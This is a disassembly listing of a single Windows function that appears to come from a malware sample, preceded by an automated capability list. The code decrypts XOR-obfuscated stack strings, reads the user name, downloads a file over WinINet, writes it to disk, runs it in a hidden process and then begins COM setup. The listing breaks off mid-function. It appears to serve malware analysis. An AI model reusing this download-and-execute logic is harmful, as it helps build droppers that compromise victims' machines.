Function at 0x140002a40
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create directory
Create http request
Create process on windows
Download and write a file
Encode data using xor
Get file attributes
Get session user name
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x15d0]
mov eax, 0x16d0
call fcn.1400311a0
sub rsp, rax
mov rax, qword [0x14006f040]
xor rax, rsp
mov qword [rbp + 0x15c0], rax
mov edx, 0x34
mov dword [rbp + 0x990], 0xcaab3c5f
lea rcx, [rbp + 0x990]
mov dword [rbp + 0x994], 0xdd7e25c8
mov dword [rbp + 0x998], 0x86e6382f
mov dword [rbp + 0x99c], 0x5113e488
mov dword [rbp + 0x9a0], 0x4dc4adb8
mov dword [rbp + 0x9a4], 0x8d09714c
mov dword [rbp + 0x9a8], 0x1d19948e
mov dword [rbp + 0x9ac], 0xd7fcdd3b
mov dword [rbp + 0x9b0], 0xdb4423dc
mov dword [rbp + 0x9b4], 0x37177c6d
mov dword [rbp + 0x9b8], 0xdfaa7155
mov dword [rbp + 0x9bc], 0x891f7a48
mov dword [rbp + 0x9c0], 0xb250f492
mov dword [rbp + 0x9c8], 0xcaab3c5f
mov dword [rbp + 0x9cc], 0xdd7e25c8
mov dword [rbp + 0x9d0], 0x86e6382f
mov dword [rbp + 0x9d4], 0x5113e488
mov dword [rbp + 0x9d8], 0x4dc4adb8
mov dword [rbp + 0x9dc], 0x8d09714c
mov dword [rbp + 0x9e0], 0x2a948e
mov dword [rbp + 0x9e4], 0xd3e0df3a
mov dword [rbp + 0x9e8], 0xcc0a22dd
mov dword [rbp + 0x9ec], 0x200c7c68
mov dword [rbp + 0x9f0], 0x8ca85b2c
mov dword [rbp + 0x9f4], 0x86106a52
mov dword [rbp + 0x9f8], 0xb740ead9
mov dword [rbp + 0x9fc], 0x4fdebcd0
mov dword [rbp + 0xa00], 0x3061cd90
mov word [rbp + 0xa04], 0x6d01
mov dword [rbp + 0x958], 0xcaab3c5f
mov dword [rbp + 0x95c], 0xdd7e25c8
mov dword [rbp + 0x960], 0x86e6382f
mov dword [rbp + 0x964], 0x5113e488
mov dword [rbp + 0x968], 0x4dc4adb8
mov dword [rbp + 0x96c], 0x8d09714c
mov dword [rbp + 0x970], 0xa3a948e
mov dword [rbp + 0x974], 0xd7e0cf26
mov dword [rbp + 0x978], 0xf04423cd
mov dword [rbp + 0x97c], 0x25075756
mov dword [rbp + 0x980], 0xeda25f6a
mov dword [rbp + 0x984], 0x8c087d43
mov word [rbp + 0x988], 0xe1df
call fcn.1400022a0
mov edx, 0x3e
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x9c8]
call fcn.1400022a0
mov edx, 0x32
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0x958]
call fcn.1400022a0
mov edx, 0xb
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x830]
mov dword [rbp + 0x830], 0xe6837274
mov dword [rbp + 0x834], 0x80346cee
mov word [rbp + 0x838], 0x128
mov byte [rbp + 0x83a], 0xd4
call fcn.1400022a0
mov r15, rax
mov dword [rbp + 0x8e0], 0xd59b146b
mov dword [rbp + 0x8e4], 0x9d3d71cc
mov dword [rbp + 0x8e8], 0xb9fb393a
mov dword [rbp + 0x8ec], 0x94ca6cb1
mov dword [rbp + 0x8f0], 0xc9387332
mov dword [rbp + 0x8f4], 0x558fd9b0
mov dword [rbp + 0x8f8], 0xc8cd5e46
mov dword [rbp + 0x8fc], 0xeb2f14b1
mov dword [rbp + 0x900], 0x50d2d840
mov dword [rbp + 0x904], 0xeb86a589
mov dword [rbp + 0x908], 0x972da8d
mov dword [rbp + 0x90c], 0xf5bbc0
mov dword [rbp + 0x910], 0x7cd3210b
mov dword [rbp + 0x914], 0x854d8c37
mov dword [rbp + 0x918], 0xc1bc5972
mov dword [rbp + 0x91c], 0xa2785b
mov dword [rbp + 0x480], 0xd3a5277a
mov dword [rbp + 0x484], 0xdd30738a
mov dword [rbp + 0x488], 0xc5b8736e
mov edx, 0x6a
mov dword [rbp + 0x48c], 0x5c0eddc5
lea rcx, [rbp + 0x480]
mov dword [rbp + 0x490], 0x5dc6adb0
mov dword [rbp + 0x494], 0xc23e1100
mov dword [rbp + 0x498], 0x545895d5
mov dword [rbp + 0x49c], 0xe3b9ee74
mov dword [rbp + 0x4a0], 0x9842649e
mov dword [rbp + 0x4a4], 0x3f126340
mov dword [rbp + 0x4a8], 0xdca26b66
mov dword [rbp + 0x4ac], 0xca0a666d
mov dword [rbp + 0x4b0], 0xfa02b789
mov dword [rbp + 0x4b4], 0x6083f389
mov dword [rbp + 0x4b8], 0x1d48e98d
mov dword [rbp + 0x4bc], 0xfaa2859
mov dword [rbp + 0x4c0], 0x7eb891f1
mov dword [rbp + 0x4c4], 0xf42229c7
mov dword [rbp + 0x4c8], 0xe402a15a
mov dword [rbp + 0x4cc], 0xb5ca5018
mov dword [rbp + 0x4d0], 0xeb1704ab
mov dword [rbp + 0x4d4], 0x60b90927
mov dword [rbp + 0x4d8], 0x7e688f1c
mov dword [rbp + 0x4dc], 0xd9438741
mov dword [rbp + 0x4e0], 0x1855af66
mov dword [rbp + 0x4e4], 0x3d8c864a
mov word [rbp + 0x4e8], 0x4fa7
call fcn.1400022a0
mov edx, 0x1b
mov qword [rsp + 0x58], rax
lea rcx, [rbp + 0x800]
mov dword [rbp + 0x800], 0xca9e146b
mov dword [rbp + 0x804], 0x86305bcb
mov dword [rbp + 0x808], 0xb7d4013a
mov dword [rbp + 0x80c], 0x5b0aeb82
mov dword [rbp + 0x810], 0x72eda5ba
mov dword [rbp + 0x814], 0x81043a74
mov word [rbp + 0x818], 0xd586
mov byte [rbp + 0x81a], 0x1d
call fcn.1400022a0
mov edx, 0x19
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x450]
mov dword [rbp + 0x450], 0xca9e146b
mov dword [rbp + 0x454], 0x86305bcb
mov dword [rbp + 0x458], 0xa9d4013a
mov dword [rbp + 0x45c], 0x5e06e982
mov dword [rbp + 0x460], 0x47f99e88
mov dword [rbp + 0x464], 0x96032a73
mov byte [rbp + 0x468], 0x86
call fcn.1400022a0
mov edx, 0xd
mov qword [rbp - 0x10], rax
lea rcx, [rbp + 0x870]
mov dword [rbp + 0x870], 0xdf8b146b
mov dword [rbp + 0x874], 0xb63e76d5
mov dword [rbp + 0x878], 0x9ded7317
mov byte [rbp + 0x87c], 0x88
call fcn.1400022a0
mov edx, 0x1c
mov qword [rbp - 0x58], rax
lea rcx, [rbp + 0x430]
mov dword [rbp + 0x430], 0xcf97146b
mov dword [rbp + 0x434], 0x9b3468da
mov dword [rbp + 0x438], 0x90db3413
mov dword [rbp + 0x43c], 0x6102fe84
mov dword [rbp + 0x440], 0x47c7b0b1
mov dword [rbp + 0x444], 0xd65c3a43
mov dword [rbp + 0x448], 0xa11decd
call fcn.1400022a0
mov qword [rbp], rax
mov dword [rbp + 0x898], 0xe6837274
mov dword [rbp + 0x89c], 0x963f76ec
mov dword [rbp + 0x8a0], 0xb9fb2a34
mov dword [rbp + 0x8a4], 0x411ed9b1
mov dword [rbp + 0x8a8], 0x1ddca7a0
mov dword [rbp + 0x8ac], 0x81360312
mov dword [rbp + 0x8b0], 0xa47df8e
mov dword [rbp + 0x8b4], 0x9ba9dc2c
mov dword [rbp + 0x8b8], 0x822870cb
mov dword [rbp + 0x8bc], 0x20374f5d
mov dword [rbp + 0x8c0], 0xe2b44e66
lea rcx, [rbp + 0x780]
mov byte [rbp + 0x8c4], 0x7a
call fcn.140001f50
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x780]
call fcn.140001b60
xor esi, esi
lea r8, [rbp + 0xb30]
lea rax, [rbp + 0x898]
mov edx, esi
sub r8, rax
nop
cmp rdx, 0x2d
jge 0x140003077
lea rax, [rbp + 0x898]
add rax, rdx
movzx ecx, byte [r8 + rax]
xor cl, byte [rax]
mov byte [rbp + rdx + 0xab0], cl
inc rdx
cmp rdx, 0x40
jl 0x140003050
mov edx, 0x1e
mov dword [rbp + 0x408], 0xe6837274
lea rcx, [rbp + 0x408]
mov dword [rbp + 0x40c], 0x963f76ec
mov dword [rbp + 0x410], 0xb9fb2a34
mov dword [rbp + 0x414], 0x411ed9b1
mov dword [rbp + 0x418], 0x1ddca7a0
mov dword [rbp + 0x41c], 0x81360312
mov dword [rbp + 0x420], 0xa47df8e
mov word [rbp + 0x424], 0xdc2c
call fcn.1400022a0
mov edx, 0x12
mov qword [rbp - 0x38], rax
lea rcx, [rbp + 0x880]
mov dword [rbp + 0x880], 0xd9b12d63
mov dword [rbp + 0x884], 0xa62571de
mov dword [rbp + 0x888], 0x8ae1333e
mov dword [rbp + 0x88c], 0x5303fab8
mov word [rbp + 0x890], 0xa7a0
call fcn.1400022a0
mov edx, 0xd
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x860]
mov dword [rbp + 0x860], 0xcdbe3d7f
mov dword [rbp + 0x864], 0x970276de
mov dword [rbp + 0x868], 0x86e12b29
mov byte [rbp + 0x86c], 0x88
call fcn.1400022a0
mov edx, 0xd
mov dword [rbp + 0x850], 0xcdbe3d7f
lea rcx, [rbp + 0x850]
mov dword [rbp + 0x854], 0x970276de
mov dword [rbp + 0x858], 0x86e12b29
mov byte [rbp + 0x85c], 0x88
call fcn.1400022a0
mov edx, 9
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x820]
mov dword [rbp + 0x820], 0xef837274
mov dword [rbp + 0x824], 0x81237ac8
mov byte [rbp + 0x828], 7
call fcn.1400022a0
mov edx, 0x18
mov dword [rbp + 0x8c8], 0xcaaf096b
lea rcx, [rbp + 0x8c8]
mov dword [rbp + 0x8cc], 0x93257eff
mov r14, rax
mov dword [rbp + 0x8d0], 0x84e70f07
mov dword [rbp + 0x8d4], 0x5509e380
mov dword [rbp + 0x8d8], 0x40d49688
mov dword [rbp + 0x8dc], 0x96043a43
call fcn.1400022a0
mov edx, 0xc
mov dword [rbp + 0x840], 0xd4ba1c6b
lea rcx, [rbp + 0x840]
mov dword [rbp + 0x844], 0xbe1570d2
mov r12, rax
mov dword [rbp + 0x848], 0x80f03875
call fcn.1400022a0
mov edx, 0x31
mov dword [rbp + 0x920], 0xcaaf096b
lea rcx, [rbp + 0x920]
mov dword [rbp + 0x924], 0x93257eff
mov r13, rax
mov dword [rbp + 0x928], 0x86e71107
mov dword [rbp + 0x92c], 0x7a3be68c
mov dword [rbp + 0x930], 0x47c491bd
mov dword [rbp + 0x934], 0xaa363a54
mov dword [rbp + 0x938], 0xa1eda96
mov dword [rbp + 0x93c], 0xe7e0f13d
mov dword [rbp + 0x940], 0xdd1f39dd
mov dword [rbp + 0x944], 0x25107652
mov dword [rbp + 0x948], 0x88a25f6a
mov dword [rbp + 0x94c], 0x9d1b2112
mov byte [rbp + 0x950], 0xd9
call fcn.1400022a0
xorps xmm0, xmm0
mov qword [rsp + 0x68], rax
movups xmmword [rbp + 0x674], xmm0
xor eax, eax
movups xmmword [rbp + 0x684], xmm0
lea rdx, [rbp + 0x5c0]
mov dword [rbp + 0x6d4], eax
lea rcx, [rbp + 0xbb0]
mov dword [rbp + 0x670], 0x68
movups xmmword [rbp + 0x694], xmm0
mov qword [rbp + 0x400], rax
movups xmmword [rbp + 0x6a4], xmm0
mov dword [rbp + 0x5c0], 0x101
movups xmmword [rbp + 0x6b4], xmm0
movups xmmword [rbp + 0x6c4], xmm0
movups xmmword [rbp + 0x3f0], xmm0
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rcx, [rbp + 0x7c0]
call fcn.140001f50
lea rdx, [rbp + 0xb70]
lea rcx, [rbp + 0x7c0]
call fcn.140001b60
lea r8, [rbp + 0xb70]
mov rdx, rsi
lea rax, [rbp + 0x8e0]
sub r8, rax
nop word [rax + rax]
lea rax, [rbp + 0x8e0]
add rax, rdx
movzx ecx, byte [r8 + rax]
xor cl, byte [rax]
mov byte [rbp + rdx + 0xae0], cl
inc rdx
cmp rdx, 0x40
jl 0x140003380
movaps xmm0, xmmword [rbp + 0xae0]
lea rcx, [rbp + 0xa60]
movaps xmm1, xmmword [rbp + 0xaf0]
mov rdi, 0xffffffffffffffff
movaps xmmword [rbp + 0xa60], xmm0
movaps xmm0, xmmword [rbp + 0xb00]
movaps xmmword [rbp + 0xa80], xmm0
xorps xmm0, xmm0
movaps xmmword [rbp + 0xa70], xmm1
movaps xmm1, xmmword [rbp + 0xb10]
movups xmmword [rbp + 0x5e8], xmm0
mov byte [rbp + 0xaa0], sil
movaps xmmword [rbp + 0xa90], xmm1
nop dword [rax + rax]
inc rdi
cmp byte [rcx + rdi], sil
jne 0x140003400
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x1700], rbx
cmp rdi, rax
ja 0x1400060a8
movabs rcx, 0x8000000000000000
mov edx, 0x16
cmp rdi, 0xf
ja 0x140003475
mov r8, rdi
mov qword [rbp + 0x5f8], rdi
lea rdx, [rbp + 0xa60]
mov qword [rbp + 0x600], 0xf
lea rcx, [rbp + 0x5e8]
call fcn.140057450
mov byte [rbp + rdi + 0x5e8], sil
mov rdi, qword [rbp + 0x5f8]
jmp 0x140003504
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x14000348a
mov rbx, rax
lea rax, [rcx + 0x27]
jmp 0x1400034ab
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400034ca
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060a2
mov rcx, rax
call fcn.1400309c4
test rax, rax
je 0x1400060d8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400034d7
test rcx, rcx
je 0x1400034d7
call fcn.1400309c4
mov rsi, rax
mov r8, rdi
mov qword [rbp + 0x5e8], rsi
lea rdx, [rbp + 0xa60]
mov qword [rbp + 0x5f8], rdi
mov rcx, rsi
mov qword [rbp + 0x600], rbx
call fcn.140057450
mov byte [rsi + rdi], 0
xor esi, esi
mov dword [rsp + 0x28], esi
lea r8, [rbp + 0xa60]
mov r9d, edi
mov qword [rsp + 0x20], rsi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
mov qword [rbp + 0x570], rsi
movsxd rbx, eax
lea rcx, [rbp + 0x560]
mov r8, rbx
mov qword [rbp + 0x578], rsi
xor edx, edx
movups xmmword [rbp + 0x560], xmm0
call fcn.140007480
cmp qword [rbp + 0x578], 7
lea rcx, [rbp + 0x560]
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0xa60]
cmova rcx, qword [rbp + 0x560]
mov r9d, edi
mov qword [rsp + 0x20], rcx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, r15
lea rcx, [rbp + 0x5c8]
call fcn.140006a60
cmp qword [rbp + 0x5e0], 7
lea rsi, [rbp + 0x5c8]
mov rdi, qword [rbp + 0x5d8]
movabs r15, 0x7ffffffffffffffe
cmova rsi, qword [rbp + 0x5c8]
seta byte [rsp + 0x50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x500], xmm0
cmp rdi, r15
ja 0x1400060a8
mov eax, 0xa
cmp rdi, 7
ja 0x140003602
mov qword [rbp + 0x510], rdi
mov qword [rbp + 0x518], 7
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x500], xmm0
jmp 0x1400036b0
mov rbx, rdi
or rbx, 7
cmp rbx, r15
jbe 0x140003621
movabs rax, 0x7fffffffffffffff
mov rbx, r15
lea rcx, [rax + rax]
jmp 0x14000364b
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400060a2
add rcx, rcx
cmp rcx, 0x1000
jb 0x14000367a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060a2
mov rcx, rax
call fcn.1400309c4
mov rcx, rax
test rax, rax
je 0x1400060d8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003688
test rcx, rcx
je 0x140003686
call fcn.1400309c4
jmp 0x140003688
xor eax, eax
lea r8, [rdi*2 + 2]
mov qword [rbp + 0x500], rax
mov rdx, rsi
mov qword [rbp + 0x510], rdi
mov rcx, rax
mov qword [rbp + 0x518], rbx
call fcn.140057450
lea rax, [rbp + 0xbb0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400036c0
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x500]
call fcn.140007330
cmp qword [rbp + 0x578], 7
lea r9, [rbp + 0x560]
mov rcx, qword [rbp + 0x518]
cmova r9, qword [rbp + 0x560]
mov rax, rcx
mov rsi, qword [rbp + 0x510]
mov rdi, qword [rbp + 0x570]
sub rax, rsi
cmp rdi, rax
ja 0x14000374f
cmp rcx, 7
lea rax, [rdi + rsi]
lea rbx, [rbp + 0x500]
mov qword [rbp + 0x510], rax
cmova rbx, qword [rbp + 0x500]
lea r8, [rdi + rdi]
mov rdx, r9
lea rcx, [rbx + rsi*2]
call fcn.140057450
lea rax, [rsi + rdi]
xor edi, edi
mov word [rbx + rax*2], di
jmp 0x140003768
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp + 0x500]
call fcn.140007b90
xor edi, edi
cmp qword [rbp + 0x518], 7
lea rbx, [rbp + 0x500]
mov rcx, qword [rsp + 0x58]
cmova rbx, qword [rbp + 0x500]
xor r9d, r9d
xor r8d, r8d
mov dword [rbp + 0x470], edi
mov dword [rsp + 0x20], edi
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rdi
xor r8d, r8d
mov dword [rsp + 0x20], edi
mov rsi, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
xor r9d, r9d
xor r8d, r8d
mov rdi, rax
mov edx, 0x40000000
xor eax, eax
mov rcx, rbx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x470]
mov r8d, 0x400
lea rdx, [rbp + 0x11c0]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140003861
xor r15d, r15d
mov r8d, dword [rbp + 0x470]
test r8d, r8d
je 0x140003857
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, [rbp + 0x11c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp + 0x470]
mov r8d, 0x400
lea rdx, [rbp + 0x11c0]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140003812
movabs r15, 0x7ffffffffffffffe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm1, xmmword [rbp + 0xac0]
lea rcx, [rbp + 0xa28]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x6d0], rax
mov eax, dword [rbp + 0xad8]
mov rbx, 0xffffffffffffffff
movups xmmword [rbp + 0x670], xmm0
mov dword [rbp + 0xa50], eax
movzx eax, word [rbp + 0xadc]
movups xmmword [rbp + 0x6a0], xmm0
mov dword [rbp + 0x670], 0x68
movups xmmword [rbp + 0x680], xmm0
mov dword [rbp + 0x6ac], 0x101
movups xmmword [rbp + 0x690], xmm0
mov word [rbp + 0xa54], ax
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
movups xmm0, xmmword [rbp + 0xab0]
movups xmmword [rbp + 0xa38], xmm1
movups xmmword [rbp + 0xa28], xmm0
movsd xmm0, qword [rbp + 0xad0]
movsd qword [rbp + 0xa48], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x520], xmm0
inc rbx
cmp byte [rcx + rbx], 0
jne 0x140003924
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x1400060a8
cmp rbx, 0xf
ja 0x14000397b
mov r8, rbx
mov qword [rbp + 0x530], rbx
lea rdx, [rbp + 0xa28]
mov qword [rbp + 0x538], 0xf
lea rcx, [rbp + 0x520]
call fcn.140057450
mov byte [rbp + rbx + 0x520], 0
jmp 0x140003a1c
mov rdi, rbx
or rdi, 0xf
cmp rdi, rax
jbe 0x14000399a
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400039c1
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400039e0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060a2
mov rcx, rax
call fcn.1400309c4
test rax, rax
je 0x1400060d8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400039f1
test rcx, rcx
je 0x1400039ec
call fcn.1400309c4
jmp 0x1400039ee
xor eax, eax
mov rsi, rax
mov r8, rbx
mov qword [rbp + 0x520], rsi
lea rdx, [rbp + 0xa28]
mov qword [rbp + 0x530], rbx
mov rcx, rsi
mov qword [rbp + 0x538], rdi
call fcn.140057450
mov byte [rsi + rbx], 0
cmp qword [rbp + 0x538], 0xf
lea r8, [rbp + 0x520]
mov r9d, dword [rbp + 0x530]
mov ecx, 0xfde9
cmova r8, qword [rbp + 0x520]
xor edi, edi
mov dword [rsp + 0x28], edi
xor edx, edx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
mov qword [rbp + 0x5b0], rdi
movsxd rbx, eax
lea rcx, [rbp + 0x5a0]
mov r8, rbx
mov qword [rbp + 0x5b8], rdi
xor edx, edx
movups xmmword [rbp + 0x5a0], xmm0
call fcn.140007480
cmp qword [rbp + 0x5b8], 7
lea rcx, [rbp + 0x5a0]
mov r9d, dword [rbp + 0x530]
lea r8, [rbp + 0x520]
cmova rcx, qword [rbp + 0x5a0]
cmp qword [rbp + 0x538], 0xf
mov dword [rsp + 0x28], ebx
cmova r8, qword [rbp + 0x520]
xor edx, edx
mov qword [rsp + 0x20], rcx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rbp + 0xbb0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rcx + r8*2], di
jne 0x140003ae0
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x5a0]
call fcn.140007330
cmp qword [rbp + 0x578], 7
lea rdx, [rbp + 0x560]
mov r8, qword [rbp + 0x570]
lea rcx, [rbp + 0x5a0]
cmova rdx, qword [rbp + 0x560]
call fcn.140007330
cmp qword [rbp + 0x5b8], 7
lea rax, [rbp + 0x3f0]
mov rcx, qword [rbp - 0x38]
lea rdx, [rbp + 0x5a0]
cmova rdx, qword [rbp + 0x5a0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp + 0x670]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140002730
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdx, qword [rsp + 0x78]
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rdi
xor r8d, r8d
mov qword [rbp - 8], rax
mov rbx, rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdx, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov rcx, rbx
mov qword [rbp - 0x38], rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
xor edx, edx
xor ecx, ecx
mov qword [rbp - 0x80], rax
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rsp + 0x40], rdi
xor r9d, r9d
mov dword [rsp + 0x38], edi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov rdi, 0xffffffffffffffff
mov dword [rsp + 0x28], 3
mov edx, edi
mov dword [rsp + 0x20], 6
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov rcx, rdi
inc rcx
cmp word [r14 + rcx*2], 0
jne 0x140003c54
lea rdx, [rbp + 0xbb0]
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x140003c70
inc ecx
add eax, ecx
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rdi
mov rcx, rax
call fcn.140030c40
mov r8, r14
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call fcn.14003733c
lea r8, [rbp + 0xbb0]
mov rdx, rbx
mov rcx, rsi
call fcn.1400373a4
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp word [r12 + rcx*2], 0
jne 0x140003cc0
mov rax, rdi
nop
inc rax
cmp word [rsi + rax*2], 0
jne 0x140003cd0
inc ecx
add eax, ecx
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rdi
mov rcx, rax
call fcn.140030c40
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov r14, rax
call fcn.14003733c
mov r8, r12
mov rdx, rbx
mov rcx, r14
call fcn.1400373a4
mov rcx, rdi
nop word [rax + rax]
inc rcx
cmp word [r13 + rcx*2], 0
jne 0x140003d20
mov rax, rdi
nop
inc rax
cmp word [r14 + rax*2], 0
jne 0x140003d30
inc ecx
mov r12, 0xffffffffffffffff
add eax, ecx
movsxd rdi, eax
mov eax, 2
mul rdi
cmovo rax, r12
mov rcx, rax
call fcn.140030c40
mov r8, r14
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.14003733c
mov r8, r13
mov rdx, rdi
mov rcx, rbx
call fcn.1400373a4
mov rdx, rbx
lea rcx, [rbp + 0x648]
call fcn.140006a60
mov r14, qword [rsp + 0x68]
mov rcx, r12
inc rcx
cmp word [r14 + rcx*2], 0
jne 0x140003d93
mov rax, r12
inc rax
cmp word [rsi + rax*2], 0
jne 0x140003da1
inc ecx
add eax, ecx
movsxd rdi, eax
mov eax, 2
mul rdi
cmovo rax, r12
mov rcx, rax
call fcn.140030c40
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.14003733c
mov r8, r14
mov rdx, rdi
mov rcx, rbx
call fcn.1400373a4
mov rdx, rbx
lea rcx, [rbp + 0x628]
call fcn.140006a60
xor r14d, r14d
lea rax, [rbp + 0x348]
lea r9, [0x14005cb38]
mov qword [rbp + 0x348], r14
xor edx, edx
mov qword [rbp + 0x340], r14
lea rcx, [0x14005cb48]
mov qword [rsp + 0x20], rax
lea r8d, [r14 + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
lea rax, [rbp + 0x340]
xor edx, edx
lea r9, [0x14005cb38]
mov qword [rsp + 0x20], rax
lea r8d, [r14 + 1]
lea rcx, [0x14005cb48]
call qword [sym.imp.ole32.dll_CoCreateInstance]
lea rcx, [rbp + 0x68]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp + 0x68]
lea rcx, [rbp + 0x98]
movups xmmword [rsp + 0x58], xmm0
movsd xmm0, qword [rbp + 0x78]
movsd qword [rsp + 0x68], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp + 0x98]
lea rcx, [rbp + 0x80]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [rbp + 0xa8]
movsd qword [rsp + 0x70], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp + 0x80]
lea rcx, [rbp + 0xb0]
movups xmmword [rbp - 0x68], xmm0
movsd xmm0, qword [rbp + 0x90]
movsd qword [rsp + 0x78], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rsp + 0x58]
mov rcx, qword [rbp + 0x348]
lea rdx, [rbp + 0x1a0]
movsd xmm1, qword [rbp + 0xc0]
lea r9, [rbp + 0x180]
movaps xmmword [rbp + 0x1a0], xmm0
lea r8, [rbp + 0x160]
movsd xmm0, qword [rsp + 0x68]
mov rax, qword [rcx]
movsd qword [rbp + 0x1b0], xmm0
movups xmm0, xmmword [rbp - 0x78]
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x300]
movsd qword [rbp + 0x310], xmm1
movaps xmmword [rbp + 0x180], xmm0
movsd xmm0, qword [rsp + 0x70]
movsd qword [rbp + 0x190], xmm0
movups xmm0, xmmword [rbp - 0x68]
movaps xmmword [rbp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x78]
